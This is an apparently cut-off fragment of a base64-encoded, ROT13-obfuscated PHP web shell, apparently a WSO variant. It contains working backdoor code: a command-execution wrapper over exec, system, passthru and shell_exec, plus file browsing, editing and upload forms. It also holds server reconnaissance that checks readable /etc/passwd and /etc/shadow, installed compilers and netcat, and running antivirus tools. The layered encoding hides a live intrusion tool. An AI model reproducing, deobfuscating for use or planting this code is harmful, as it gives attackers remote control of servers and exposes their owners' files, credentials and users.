VmcmcpIHsKCQlmcmcobixwLGMxLGMyLGMzLHB1bmVmcmcpOwoJCWluZSBjbmVuemYgPSAnbnduaz1nZWhyJzsKCQlzYmUodj0wO3Y8cS56cy5yeXJ6cmFnZi55cmF0Z3U7disrKQoJCQljbmVuemYgKz0gJyYnK3EuenMucnlyenJhZ2Zbdl0uYW56cisnPScrcmFwYnFySEVWUGJ6Y2JhcmFnKHEuenMucnlyenJhZ2Zbdl0uaW55aHIpOwoJCWZlKCciIC4gbnFxZnluZnVyZigkX0ZSRUlSRVsnRVJESFJGR19IRVYnXSkgLiInLCBjbmVuemYpOwoJfQoJc2hhcGd2YmEgZmUoaGV5LCBjbmVuemYpIHsKCQl2cyAoanZhcWJqLktaWVVnZ2NFcmRocmZnKQoJCQllcmQgPSBhcmogS1pZVWdnY0VyZGhyZmcoKTsKCQlyeWZyIHZzIChqdmFxYmouTnBndmlyS0Jvd3JwZykKCQkJZXJkID0gYXJqIE5wZ3ZpcktCb3dycGcoJ1p2cGViZmJzZy5LWllVR0dDJyk7CiAgICAgICAgdnMgKGVyZCkgewogICAgICAgICAgICBlcmQuYmFlcm5xbGZnbmdycHVuYXRyID0gY2VicHJmZkVyZFB1bmF0cjsKICAgICAgICAgICAgZXJkLmJjcmEoJ0NCRkcnLCBoZXksIGdlaHIpOwogICAgICAgICAgICBlcmQuZnJnRXJkaHJmZ1VybnFyZSAoJ1BiYWdyYWctR2xjcicsICduY2N5dnBuZ3ZiYS9rLWpqai1zYmV6LWhleXJhcGJxcnEnKTsKICAgICAgICAgICAgZXJkLmZyYXEoY25lbnpmKTsKICAgICAgICB9Cgl9CglzaGFwZ3ZiYSBjZWJwcmZmRXJkUHVuYXRyKCkgewoJCXZzKCAoZXJkLmVybnFsRmduZ3IgPT0gNCkgKQoJCQl2cyhlcmQuZmduZ2hmID09IDIwMCkgewoJCQkJaW5lIGVydCA9IGFyaiBFcnRSa2MoXCIoXFxcXHErKShbXFxcXEZcXFxcZl0qKVwiLCAneicpOwoJCQkJaW5lIG5lZT1lcnQucmtycChlcmQuZXJmY2JhZnJHcmtnKTsKCQkJCXJpbnkobmVlWzJdLmZob2ZnZSgwLCBuZWVbMV0pKTsKCQkJfSByeWZyIG55cmVnKCdFcmRocmZnIHJlZWJlIScpOwoJfQo8L2ZwZXZjZz4KPHVybnE+PG9icWw+PHF2aSBmZ2x5cj0nY2Jmdmd2YmE6bm9mYnloZ3I7anZxZ3U6MTAwJTtvbnB4dGViaGFxLXBieWJlOiM0NDQ7Z2JjOjA7eXJzZzowOyc+CjxzYmV6IHpyZ3VicT1jYmZnIGFuenI9enMgZmdseXI9J3F2ZmN5bmw6YWJhcjsnPgo8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1uPgo8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1wPgo8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1jMT4KPHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9YzI+Cjx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPWMzPgo8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1wdW5lZnJnPgo8L3NiZXo+IjsKCSRzZXJyRmNucHIgPSBAcXZmeHNlcnJmY25wcigkVFlCT05ZRlsncGpxJ10pOwoJJGdiZ255RmNucHIgPSBAcXZmeF9nYmdueV9mY25wcigkVFlCT05ZRlsncGpxJ10pOwoJJGdiZ255RmNucHIgPSAkZ2JnbnlGY25wcj8kZ2JnbnlGY25wcjoxOwoJJGVyeXJuZnIgPSBAY3VjX2hhbnpyKCdlJyk7CgkkeHJlYXJ5ID0gQGN1Y19oYW56cignZicpOwoJdnMoIXNoYXBndmJhX3JrdmZnZignY2JmdmtfdHJncnR2cScpKSB7CgkJJGhmcmUgPSBAdHJnX3BoZWVyYWdfaGZyZSgpOwoJCSRodnEgPSBAdHJnemxodnEoKTsKCQkkdHZxID0gQHRyZ3psdHZxKCk7CgkJJHRlYmhjID0gIj8iOwoJfSByeWZyIHsKCQkkaHZxID0gQGNiZnZrX3RyZ2NqaHZxKGNiZnZrX3RyZ3JodnEoKSk7CgkJJHR2cSA9IEBjYmZ2a190cmd0ZXR2cShjYmZ2a190cmdydHZxKCkpOwoJCSRoZnJlID0gJGh2cVsnYW56ciddOwoJCSRodnEgPSAkaHZxWydodnEnXTsKCQkkdGViaGMgPSAkdHZxWydhbnpyJ107CgkJJHR2cSA9ICR0dnFbJ3R2cSddOwoJfQoKCSRwanFfeXZheGYgPSAnJzsKCSRjbmd1ID0gcmtjeWJxcigiLyIsICRUWUJPTllGWydwanEnXSk7CgkkYT1wYmhhZygkY25ndSk7CglzYmUoJHY9MDsgJHY8JGEtMTsgJHYrKykgewoJCSRwanFfeXZheGYgLj0gIjxuIHVlcnM9JyMnIGJhcHl2cHg9J3QoXCJTdnlyZlpuYVwiLFwiIjsKCQlzYmUoJHc9MDsgJHc8PSR2OyAkdysrKQoJCQkkcGpxX3l2YXhmIC49ICRjbmd1WyR3XS4nLyc7CgkJJHBqcV95dmF4ZiAuPSAiXCIpJz4iLiRjbmd1WyR2XS4iLzwvbj4iOwoJfQoKCSRwdW5lZnJnZiA9IG5lZW5sKCdIR1MtOCcsICdKdmFxYmpmLTEyNTEnLCAnWEJWOC1FJywgJ1hCVjgtSCcsICdwYzg2NicpOwoJJGJjZ19wdW5lZnJnZiA9ICcnOwoJc2Jlcm5wdSgkcHVuZWZyZ2YgbmYgJHZncnopCgkJJGJjZ19wdW5lZnJnZiAuPSAnPGJjZ3ZiYSBpbnlocj0iJy4kdmdyei4nIiAnLigkX0NCRkdbJ3B1bmVmcmcnXT09JHZncno/J2ZyeXJwZ3JxJzonJykuJz4nLiR2Z3J6Lic8L2JjZ3ZiYT4nOwoKCSR6ID0gbmVlbmwoJ0ZycC4gVmFzYic9PidGcnBWYXNiJywnU3Z5cmYnPT4nU3Z5cmZabmEnLCAnUGJhZmJ5cic9PidQYmFmYnlyJywnRmR5Jz0+J0ZkeScsICdIQ3FuZ3IvSEN0ZW5xcicgPT4gJ0hDUW5ncicsICdDdWMnPT4nQ3VjJywgJ0ZnZXZhdCBnYmJ5Zic9PidGZ2V2YXRHYmJ5ZicsJ09laGdyc2JlcHInPT4nT2VoZ3JzYmVwcicsJ0FyZ2piZXgnPT4nQXJnamJleCcpOwoJdnMoIXJ6Y2dsKCRUWUJPTllGWyduaGd1X2NuZmYnXSkpCgkJJHpbJ1lidGJoZyddID0gJ1lidGJoZyc7CgkkelsnRnJ5cyBlcnpiaXInXSA9ICdGcnlzRXJ6YmlyJzsKCSR6cmFoID0gJyc7CglzYmVybnB1KCR6IG5mICR4ID0+ICRpKXsKCQl2cygkeCA9PSAnSENxbmdyL0hDdGVucXInKXsKCQkJJHpyYWggLj0gJzxndSBqdnFndT0iJy4odmFnKSgxMDAvcGJoYWcoJHopKS4nJSI+WyA8biB1ZXJzPSIjIiBiYXB5dnB4PSJ0KFwnJy4kaS4nXCcsYWh5eSxcJ1wnLFwnXCcsXCdcJykiPjxzYmFnIHBieWJlPSIjMjVzczAwIj4nLiR4Lic8L3NiYWc+PC9uPiBdPC9ndT4nOwoJCX1yeWZyewoJCQkkenJhaCAuPSAnPGd1IGp2cWd1PSInLih2YWcpKDEwMC9wYmhhZygkeikpLiclIj5bIDxuIHVlcnM9IiMiIGJhcHl2cHg9InQoXCcnLiRpLidcJyxhaHl5LFwnXCcsXCdcJyxcJ1wnKSI+Jy4keC4nPC9uPiBdPC9ndT4nOwoJCX0KCX0KCSRxZXZpcmYgPSAiIjsKCXZzKCRUWUJPTllGWydiZiddID09ICdqdmEnKSB7CgkJc2Jlcm5wdShlbmF0cigncCcsJ20nKSBuZiAkcWV2aXIpCgkJdnModmZfcXZlKCRxZXZpci4nOlxcJykpCgkJCSRxZXZpcmYgLj0gJzxuIHVlcnM9IiMiIGJhcHl2cHg9InQoXCdTdnlyZlpuYVwnLFwnJy4kcWV2aXIuJzovXCcpIj5bICcuJHFldmlyLicgXTwvbj4gJzsKCX0KCXJwdWIgJzxnbm95ciBweW5mZj12YXNiIHByeXljbnFxdmF0PTMgcHJ5eWZjbnB2YXQ9MCBqdnFndT0xMDAlPjxnZT48Z3EganZxZ3U9MT48ZmNuYT5IYW56cjo8b2U+SGZyZTo8b2U+Q3VjOjxvZT5VcXE6PG9lPlBqcTonIC4gKCRUWUJPTllGWydiZiddID09ICdqdmEnPyc8b2U+UWV2aXJmOic6JycpIC4gJzwvZmNuYT48L2dxPicKICAgICAgIC4gJzxncT48YWJvZT4nIC4gZmhvZmdlKEBjdWNfaGFuenIoKSwgMCwgMTIwKSAuICc8L2Fib2U+PG9lPicgLiAkaHZxIC4gJyAoICcgLiAkaGZyZSAuICcgKSA8ZmNuYT5UZWJoYzo8L2ZjbmE+ICcgLiAkdHZxIC4gJyAoICcgLiAkdGViaGMgLiAnICk8b2U+JyAuIEBjdWNpcmVmdmJhKCkgLiAnIDxmY25hPkZuc3IgemJxcjo8L2ZjbmE+ICcgLiAoJFRZQk9OWUZbJ2Zuc3JfemJxciddPyc8c2JhZyBwYnliZT1lcnE+QkE8L3NiYWc+JzonPHNiYWcgcGJ5YmU9dGVycmE+PG8+QlNTPC9vPjwvc2JhZz4nKQogICAgICAgLiAnIDxuIHVlcnM9IyBiYXB5dnB4PSJ0KFwnQ3VjXCcsYWh5eSxcJ1wnLFwndmFzYlwnKSI+WyBjdWN2YXNiIF08L24+IDxmY25hPlFuZ3JndnpyOjwvZmNuYT4gJyAuIHFuZ3IoJ0wtei1xIFU6djpmJykgLiAnPG9lPicgLiBqZmJJdnJqRnZtcigkZ2JnbnlGY25wcikgLiAnIDxmY25hPlNlcnI6PC9mY25hPiAnIC4gamZiSXZyakZ2bXIoJHNlcnJGY25wcikgLiAnICgnLiAodmFnKSAoJHNlcnJGY25wci8kZ2JnbnlGY25wcioxMDApIC4gJyUpPG9lPicgLiAkcGpxX3l2YXhmIC4gJyAnLiBqZmJDcmV6ZlBieWJlKCRUWUJPTllGWydwanEnXSkgLiAnIDxuIHVlcnM9IyBiYXB5dnB4PSJ0KFwnU3Z5cmZabmFcJyxcJycgLiAkVFlCT05ZRlsndWJ6cl9wanEnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgdWJ6ciBdPC9uPjxvZT4nIC4gJHFldmlyZiAuICc8L2dxPicKICAgICAgIC4gJzxncSBqdnFndT0xIG55dnRhPWV2dHVnPjxhYm9lPjxmcnlycGcgYmFwdW5hdHI9InQoYWh5eSxhaHl5LGFoeXksYWh5eSxhaHl5LGd1dmYuaW55aHIpIj48YmNndGViaGMgeW5vcnk9IkNudHIgcHVuZWZyZyI+JyAuICRiY2dfcHVuZWZyZ2YgLiAnPC9iY2d0ZWJoYz48L2ZyeXJwZz48b2U+PGZjbmE+RnJlaXJlIFZDOjwvZmNuYT48b2U+JyAuIEAkX0ZSRUlSRVsiRlJFSVJFX05RUUUiXSAuICc8b2U+PGZjbmE+UHl2cmFnIFZDOjwvZmNuYT48b2U+JyAuICRfRlJFSVJFWydFUlpCR1JfTlFRRSddIC4gJzwvYWJvZT48L2dxPjwvZ2U+PC9nbm95cj4nCiAgICAgICAuICc8Z25veXIgZmdseXI9Im9iZXFyZS1nYmM6MmNrIGZieXZxICMzMzM7IiBwcnl5Y25xcXZhdD0zIHByeXlmY25wdmF0PTAganZxZ3U9MTAwJT48Z2U+JyAuICR6cmFoIC4gJzwvZ2U+PC9nbm95cj48cXZpIGZnbHlyPSJ6bmV0dmE6NSI+JzsKfQoKc2hhcGd2YmEgamZiU2JiZ3JlKCkgewoJJHZmX2pldmdub3lyID0gdmZfamV2Z25veXIoJFRZQk9OWUZbJ3BqcSddKT8iIDxzYmFnIHBieWJlPSd0ZXJyYSc+KEpldmdybm95cik8L3NiYWc+IjoiIDxzYmFnIHBieWJlPWVycT4oQWJnIGpldmdub3lyKTwvc2JhZz4iOwogICAgcnB1YiAiCjwvcXZpPgo8Z25veXIgcHluZmY9dmFzYiB2cT1nYmJ5ZkdveSBwcnl5Y25xcXZhdD0zIHByeXlmY25wdmF0PTAganZxZ3U9MTAwJSAgZmdseXI9J29iZXFyZS1nYmM6MmNrIGZieXZxICMzMzM7b2JlcXJlLW9iZ2diejoyY2sgZmJ5dnEgIzMzMzsnPgoJPGdlPgoJCTxncT48c2JleiBiYWZob3p2Zz0ndChhaHl5LGd1dmYucC5pbnlocixcIlwiKTtlcmdoZWEgc255ZnI7Jz48ZmNuYT5QdW5hdHIgcXZlOjwvZmNuYT48b2U+PHZhY2hnIHB5bmZmPSdnYmJ5ZlZhYycgZ2xjcj1ncmtnIGFuenI9cCBpbnlocj0nIiAuIHVnenlmY3Jwdm55cHVuZWYoJFRZQk9OWUZbJ3BqcSddKSAuIic+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSc+Pic+PC9zYmV6PjwvZ3E+CgkJPGdxPjxzYmV6IGJhZmhvenZnPVwidCgnU3Z5cmZHYmJ5ZicsYWh5eSxndXZmLnMuaW55aHIpO2VyZ2hlYSBzbnlmcjtcIj48ZmNuYT5Fcm5xIHN2eXI6PC9mY25hPjxvZT48dmFjaGcgcHluZmY9J2diYnlmVmFjJyBnbGNyPWdya2cgYW56cj1zPjx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj0nPj4nPjwvc2Jlej48L2dxPgoJPC9nZT48Z2U+CgkJPGdxPjxzYmV6IGJhZmhvenZnPVwidCgnU3Z5cmZabmEnLGFoeXksJ3p4cXZlJyxndXZmLnEuaW55aHIpO2VyZ2hlYSBzbnlmcjtcIj48ZmNuYT5abnhyIHF2ZTo8L2ZjbmE+JHZmX2pldmdub3lyPG9lPjx2YWNoZyBweW5mZj0nZ2JieWZWYWMnIGdsY3I9Z3JrZyBhbnpyPXE+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSc+Pic+PC9zYmV6PjwvZ3E+CgkJPGdxPjxzYmV6IGJhZmhvenZnPVwidCgnU3Z5cmZHYmJ5ZicsYWh5eSxndXZmLnMuaW55aHIsJ3p4c3Z5cicpO2VyZ2hlYSBzbnlmcjtcIj48ZmNuYT5abnhyIHN2eXI6PC9mY25hPiR2Zl9qZXZnbm95cjxvZT48dmFjaGcgcHluZmY9J2diYnlmVmFjJyBnbGNyPWdya2cgYW56cj1zPjx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj0nPj4nPjwvc2Jlej48L2dxPgoJPC9nZT48Z2U+CgkJPGdxPjxzYmV6IGJhZmhvenZnPVwidCgnUGJhZmJ5cicsYWh5eSxndXZmLnAuaW55aHIpO2VyZ2hlYSBzbnlmcjtcIj48ZmNuYT5Sa3JwaGdyOjwvZmNuYT48b2U+PHZhY2hnIHB5bmZmPSdnYmJ5ZlZhYycgZ2xjcj1ncmtnIGFuenI9cCBpbnlocj0nJz48dmFjaGcgZ2xjcj1maG96dmcgaW55aHI9Jz4+Jz48L3NiZXo+PC9ncT4KCQk8Z3E+PHNiZXogenJndWJxPSdjYmZnJyBSQVBHTENSPSd6aHlndmNuZWcvc2Jlei1xbmduJz4KCQk8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1uIGlueWhyPSdTdnlyZlpOYSc+CgkJPHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9cCBpbnlocj0nIiAuICRUWUJPTllGWydwanEnXSAuIic+CgkJPHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9YzEgaW55aHI9J2hjeWJucVN2eXInPgoJCTx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPXB1bmVmcmcgaW55aHI9JyIgLiAodmZmcmcoJF9DQkZHWydwdW5lZnJnJ10pPyRfQ0JGR1sncHVuZWZyZyddOicnKSAuICInPgoJCTxmY25hPkhjeWJucSBzdnlyOjwvZmNuYT4kdmZfamV2Z25veXI8b2U+PHZhY2hnIHB5bmZmPSdnYmJ5ZlZhYycgZ2xjcj1zdnlyIGFuenI9cz48dmFjaGcgZ2xjcj1maG96dmcgaW55aHI9Jz4+Jz48L3NiZXo+PG9lICA+PC9ncT4KCTwvZ2U+PC9nbm95cj48L3F2aT48L29icWw+PC91Z3p5PiI7Cn0KCnZzICghc2hhcGd2YmFfcmt2ZmdmKCJjYmZ2a190cmdjamh2cSIpICYmIChmZ2VjYmYoJFRZQk9OWUZbJ3F2Zm5veXJfc2hhcGd2YmFmJ10sICdjYmZ2a190cmdjamh2cScpPT09c255ZnIpKSB7CiAgICBzaGFwZ3ZiYSBjYmZ2a190cmdjamh2cSgkYykge2VyZ2hlYSBzbnlmcjt9IH0KdnMgKCFzaGFwZ3ZiYV9ya3ZmZ2YoImNiZnZrX3RyZ3RldHZxIikgJiYgKGZnZWNiZigkVFlCT05ZRlsncXZmbm95cl9zaGFwZ3ZiYWYnXSwgJ2NiZnZrX3RyZ3RldHZxJyk9PT1zbnlmcikpIHsKICAgIHNoYXBndmJhIGNiZnZrX3RyZ3RldHZxKCRjKSB7ZXJnaGVhIHNueWZyO30gfQoKc2hhcGd2YmEgamZiUmsoJHZhKSB7CgkkYmhnID0gJyc7Cgl2cyAoc2hhcGd2YmFfcmt2ZmdmKCdya3JwJykpIHsKCQlAcmtycCgkdmEsJGJoZyk7CgkJJGJoZyA9IEB3YnZhKCJcYSIsJGJoZyk7Cgl9IHJ5ZnJ2cyAoc2hhcGd2YmFfcmt2ZmdmKCdjbmZmZ3VlaCcpKSB7CgkJYm9fZmduZWcoKTsKCQlAY25mZmd1ZWgoJHZhKTsKCQkkYmhnID0gYm9fdHJnX3B5cm5hKCk7Cgl9IHJ5ZnJ2cyAoc2hhcGd2YmFfcmt2ZmdmKCdmbGZncnonKSkgewoJCWJvX2ZnbmVnKCk7CgkJQGZsZmdyeigkdmEpOwoJCSRiaGcgPSBib190cmdfcHlybmEoKTsKCX0gcnlmcnZzIChzaGFwZ3ZiYV9ya3ZmZ2YoJ2Z1cnl5X3JrcnAnKSkgewoJCSRiaGcgPSBmdXJ5eV9ya3JwKCR2YSk7Cgl9IHJ5ZnJ2cyAodmZfZXJmYmhlcHIoJHMgPSBAY2JjcmEoJHZhLCJlIikpKSB7CgkJJGJoZyA9ICIiOwoJCWp1dnlyKCFAc3JicygkcykpCgkJCSRiaGcgLj0gc2VybnEoJHMsMTAyNCk7CgkJY3B5YmZyKCRzKTsKCX0KCWVyZ2hlYSAkYmhnOwp9CgpzaGFwZ3ZiYSBqZmJJdnJqRnZtcigkZikgewogICAgdnMgKHZmX3ZhZygkZikpCiAgICAgICAgJGYgPSBmY2V2YWdzKCIlaCIsICRmKTsKICAgIAoJdnMoJGYgPj0gMTA3Mzc0MTgyNCkKCQllcmdoZWEgZmNldmFncygnJTEuMnMnLCAkZiAvIDEwNzM3NDE4MjQgKS4gJyBUTyc7CglyeWZydnMoJGYgPj0gMTA0ODU3NikKCQllcmdoZWEgZmNldmFncygnJTEuMnMnLCAkZiAvIDEwNDg1NzYgKSAuICcgWk8nOwoJcnlmcnZzKCRmID49IDEwMjQpCgkJZXJnaGVhIGZjZXZhZ3MoJyUxLjJzJywgJGYgLyAxMDI0ICkgLiAnIFhPJzsKCXJ5ZnIKCQllcmdoZWEgJGYgLiAnIE8nOwp9CgpzaGFwZ3ZiYSBqZmJDcmV6ZigkYykgewoJdnMgKCgkYyAmIDBrUDAwMCkgPT0gMGtQMDAwKSR2ID0gJ2YnOwoJcnlmcnZzICgoJGMgJiAwa04wMDApID09IDBrTjAwMCkkdiA9ICd5JzsKCXJ5ZnJ2cyAoKCRjICYgMGs4MDAwKSA9PSAwazgwMDApJHYgPSAnLSc7CglyeWZydnMgKCgkYyAmIDBrNjAwMCkgPT0gMGs2MDAwKSR2ID0gJ28nOwoJcnlmcnZzICgoJGMgJiAwazQwMDApID09IDBrNDAwMCkkdiA9ICdxJzsKCXJ5ZnJ2cyAoKCRjICYgMGsyMDAwKSA9PSAwazIwMDApJHYgPSAncCc7CglyeWZydnMgKCgkYyAmIDBrMTAwMCkgPT0gMGsxMDAwKSR2ID0gJ2MnOwoJcnlmciAkdiA9ICdoJzsKCSR2IC49ICgoJGMgJiAwazAxMDApID8gJ2UnIDogJy0nKTsKCSR2IC49ICgoJGMgJiAwazAwODApID8gJ2onIDogJy0nKTsKCSR2IC49ICgoJGMgJiAwazAwNDApID8gKCgkYyAmIDBrMDgwMCkgPyAnZicgOiAnaycgKSA6ICgoJGMgJiAwazA4MDApID8gJ0YnIDogJy0nKSk7CgkkdiAuPSAoKCRjICYgMGswMDIwKSA/ICdlJyA6ICctJyk7CgkkdiAuPSAoKCRjICYgMGswMDEwKSA/ICdqJyA6ICctJyk7CgkkdiAuPSAoKCRjICYgMGswMDA4KSA/ICgoJGMgJiAwazA0MDApID8gJ2YnIDogJ2snICkgOiAoKCRjICYgMGswNDAwKSA/ICdGJyA6ICctJykpOwoJJHYgLj0gKCgkYyAmIDBrMDAwNCkgPyAnZScgOiAnLScpOwoJJHYgLj0gKCgkYyAmIDBrMDAwMikgPyAnaicgOiAnLScpOwoJJHYgLj0gKCgkYyAmIDBrMDAwMSkgPyAoKCRjICYgMGswMjAwKSA/ICdnJyA6ICdrJyApIDogKCgkYyAmIDBrMDIwMCkgPyAnRycgOiAnLScpKTsKCWVyZ2hlYSAkdjsKfQoKc2hhcGd2YmEgamZiQ3JlemZQYnliZSgkcykgewoJdnMgKCFAdmZfZXJucW5veXIoJHMpKQoJCWVyZ2hlYSAnPHNiYWcgcGJ5YmU9I1NTMDAwMD4nIC4gamZiQ3JlemYoQHN2eXJjcmV6ZigkcykpIC4gJzwvc2JhZz4nOwoJcnlmcnZzICghQHZmX2pldmdub3lyKCRzKSkKCQllcmdoZWEgJzxzYmFnIHBieWJlPWp1dmdyPicgLiBqZmJDcmV6ZihAc3Z5cmNyZXpmKCRzKSkgLiAnPC9zYmFnPic7CglyeWZyCgkJZXJnaGVhICc8c2JhZyBwYnliZT0jMjVzczAwPicgLiBqZmJDcmV6ZihAc3Z5cmNyZXpmKCRzKSkgLiAnPC9zYmFnPic7Cn0KCnNoYXBndmJhIGpmYkZwbmFxdmUoJHF2ZSkgewogICAgdnMoc2hhcGd2YmFfcmt2ZmdmKCJmcG5hcXZlIikpIHsKICAgICAgICBlcmdoZWEgZnBuYXF2ZSgkcXZlKTsKICAgIH0gcnlmciB7CiAgICAgICAgJHF1ICA9IGJjcmFxdmUoJHF2ZSk7CiAgICAgICAganV2eXIgKHNueWZyICE9PSAoJHN2eXJhbnpyID0gZXJucXF2ZSgkcXUpKSkKICAgICAgICAgICAgJHN2eXJmW10gPSAkc3Z5cmFuenI7CiAgICAgICAgZXJnaGVhICRzdnlyZjsKICAgIH0KfQoKc2hhcGd2YmEgamZiSnV2cHUoJGMpIHsKCSRjbmd1ID0gamZiUmsoJ2p1dnB1ICcgLiAkYyk7Cgl2cyghcnpjZ2woJGNuZ3UpKQoJCWVyZ2hlYSAkY25ndTsKCWVyZ2hlYSBzbnlmcjsKfQoKc2hhcGd2YmEgbnBndmJhRnJwVmFzYigpIHsKCWpmYlVybnFyZSgpOwoJcnB1YiAnPHUxPkZyZWlyZSBmcnBoZXZnbCB2YXNiZXpuZ3ZiYTwvdTE+PHF2aSBweW5mZj1wYmFncmFnPic7CglzaGFwZ3ZiYSBqZmJGcnBDbmVueigkYSwgJGkpIHsKCQkkaSA9IGdldnooJGkpOwoJCXZzKCRpKSB7CgkJCXJwdWIgJzxmY25hPicgLiAkYSAuICc6IDwvZmNuYT4nOwoJCQl2cyhmZ2VjYmYoJGksICJcYSIpID09PSBzbnlmcikKCQkJCXJwdWIgJGkgLiAnPG9lPic7CgkJCXJ5ZnIKCQkJCXJwdWIgJzxjZXIgcHluZmY9enkxPicgLiAkaSAuICc8L2Nlcj4nOwoJCX0KCX0KCglqZmJGcnBDbmVueignRnJlaXJlIGZic2dqbmVyJywgQHRyZ3JhaSgnRlJFSVJFX0ZCU0dKTkVSJykpOwogICAgdnMoc2hhcGd2YmFfcmt2ZmdmKCduY25wdXJfdHJnX3picWh5cmYnKSkKICAgICAgICBqZmJGcnBDbmVueignWWJucXJxIE5jbnB1ciB6YnFoeXJmJywgdnpjeWJxcignLCAnLCBuY25wdXJfdHJnX3picWh5cmYoKSkpOwoJamZiRnJwQ25lbnooJ1F2Zm5veXJxIENVQyBTaGFwZ3ZiYWYnLCAkVFlCT05ZRlsncXZmbm95cl9zaGFwZ3ZiYWYnXT8kVFlCT05ZRlsncXZmbm95cl9zaGFwZ3ZiYWYnXTonYWJhcicpOwoJamZiRnJwQ25lbnooJ0JjcmEgb25mciBxdmUnLCBAdmF2X3RyZygnYmNyYV9vbmZycXZlJykpOwoJamZiRnJwQ25lbnooJ0Zuc3IgemJxciBya3JwIHF2ZScsIEB2YXZfdHJnKCdmbnNyX3picXJfcmtycF9xdmUnKSk7CglqZmJGcnBDbmVueignRm5zciB6YnFyIHZhcHlocXIgcXZlJywgQHZhdl90cmcoJ2Zuc3JfemJxcl92YXB5aHFyX3F2ZScpKTsKCWpmYkZycENuZW56KCdwSEVZIGZoY2NiZWcnLCBzaGFwZ3ZiYV9ya3ZmZ2YoJ3BoZXlfaXJlZnZiYScpPydyYW5veXJxJzonYWInKTsKCSRncnpjPW5lZW5sKCk7Cgl2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ3psZmR5X3RyZ19weXZyYWdfdmFzYicpKQoJCSRncnpjW10gPSAiWmxGZHkgKCIuemxmZHlfdHJnX3B5dnJhZ192YXNiKCkuIikiOwoJdnMoc2hhcGd2YmFfcmt2ZmdmKCd6ZmZkeV9wYmFhcnBnJykpCgkJJGdyemNbXSA9ICJaRkZEWSI7Cgl2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ2N0X3BiYWFycGcnKSkKCQkkZ3J6Y1tdID0gIkNiZmd0ZXJGRFkiOwoJdnMoc2hhcGd2YmFfcmt2ZmdmKCdicHZfcGJhYXJwZycpKQoJCSRncnpjW10gPSAiQmVucHlyIjsKCWpmYkZycENuZW56KCdGaGNjYmVncnEgcW5nbm9uZnJmJywgdnpjeWJxcignLCAnLCAkZ3J6YykpOwoJcnB1YiAnPG9lPic7CgoJdnMoJFRZQk9OWUZbJ2JmJ10gPT0gJ2F2aycpIHsKICAgICAgICAgICAgamZiRnJwQ25lbnooJ0VybnFub3lyIC9yZ3AvY25mZmpxJywgQHZmX2VybnFub3lyKCcvcmdwL2NuZmZqcScpPyJscmYgPG4gdWVycz0nIycgYmFweXZweD0ndChcIlN2eXJmR2JieWZcIiwgXCIvcmdwL1wiLCBcImNuZmZqcVwiKSc+W2l2cmpdPC9uPiI6J2FiJyk7CiAgICAgICAgICAgIGpmYkZycENuZW56KCdFcm5xbm95ciAvcmdwL2Z1bnFiaicsIEB2Zl9lcm5xbm95cignL3JncC9mdW5xYmonKT8ibHJmIDxuIHVlcnM9JyMnIGJhcHl2cHg9J3QoXCJTdnlyZkdiYnlmXCIsIFwiL3JncC9cIiwgXCJmdW5xYmpcIiknPltpdnJqXTwvbj4iOidhYicpOwogICAgICAgICAgICBqZmJGcnBDbmVueignQkYgaXJlZnZiYScsIEBzdnlyX3RyZ19wYmFncmFnZignL2NlYnAvaXJlZnZiYScpKTsKICAgICAgICAgICAgamZiRnJwQ25lbnooJ1F2ZmdlIGFuenInLCBAc3Z5cl90cmdfcGJhZ3JhZ2YoJy9yZ3AvdmZmaHIuYXJnJykpOwogICAgICAgICAgICB2cyghJFRZQk9OWUZbJ2Zuc3JfemJxciddKSB7CiAgICAgICAgICAgICAgICAkaGZyZXNoeSA9IG5lZW5sKCd0cHAnLCd5cHAnLCdwcCcsJ3lxJywnem54cicsJ2N1YycsJ2NyZXknLCdjbGd1YmEnLCdlaG9sJywnZ25lJywndG12YycsJ29tdmMnLCdvbXZjMicsJ2FwJywneWJwbmdyJywnZmh2cWNyZXknKTsKICAgICAgICAgICAgICAgICRxbmF0cmUgPSBuZWVubCgneG5pJywnYWJxMzInLCdvcXBiZXJxJywnaGlmcG5hJywnZm5pJywncWVqcm9xJywncHluenEnLCdleHVoYWdyZScsJ3B1eGViYmd4dmcnLCd2Y2dub3lyZicsJ3Zjc2onLCdnZXZjanZlcicsJ2Z1dnJ5cXBwJywnY2JlZ2ZyYWdlbCcsJ2ZhYmVnJywnYmZmcnAnLCd5dnFmbnF6JywnZ3BjeWJxdCcsJ2ZrdnEnLCd5YnRwdXJweCcsJ3lidGpuZ3B1JywnZmxmem5meCcsJ216b2ZwbmMnLCdmbmp6dnl5JywnamJlemZwbmEnLCdhdmF3bicpOwogICAgICAgICAgICAgICAgJHFiamF5Ym5xcmVmID0gbmVlbmwoJ2p0cmcnLCdzcmdwdScsJ3lsYWsnLCd5dmF4ZicsJ3BoZXknLCd0cmcnLCd5amMtenZlZWJlJyk7CiAgICAgICAgICAgICAgICBycHViICc8b2U+JzsKICAgICAgICAgICAgICAgICRncnpjPW5lZW5sKCk7CiAgICAgICAgICAgICAgICBzYmVybnB1ICgkaGZyZXNoeSBuZiAkdmdyeikKICAgICAgICAgICAgICAgICAgICB2cyhqZmJKdXZwdSgkdmdyeikpCiAgICAgICAgICAgICAgICAgICAgICAgICRncnpjW10gPSAkdmdyejsKICAgICAgICAgICAgICAgIGpmYkZycENuZW56KCdIZnJlc2h5JywgdnpjeWJxcignLCAnLCRncnpjKSk7CiAgICAgICAgICAgICAgICAkZ3J6Yz1uZWVubCgpOwogICAgICAgICAgICAgICAgc2Jlcm5wdSAoJHFuYXRyZSBuZiAkdmdyeikKICAgICAgICAgICAgICAgICAgICB2cyhqZmJKdXZwdSgkdmdyeikpCiAgICAgICAgICAgICAgICAgICAgICAgICRncnpjW10gPSAkdmdyejsKICAgICAgICAgICAgICAgIGpmYkZycENuZW56KCdRbmF0cmUn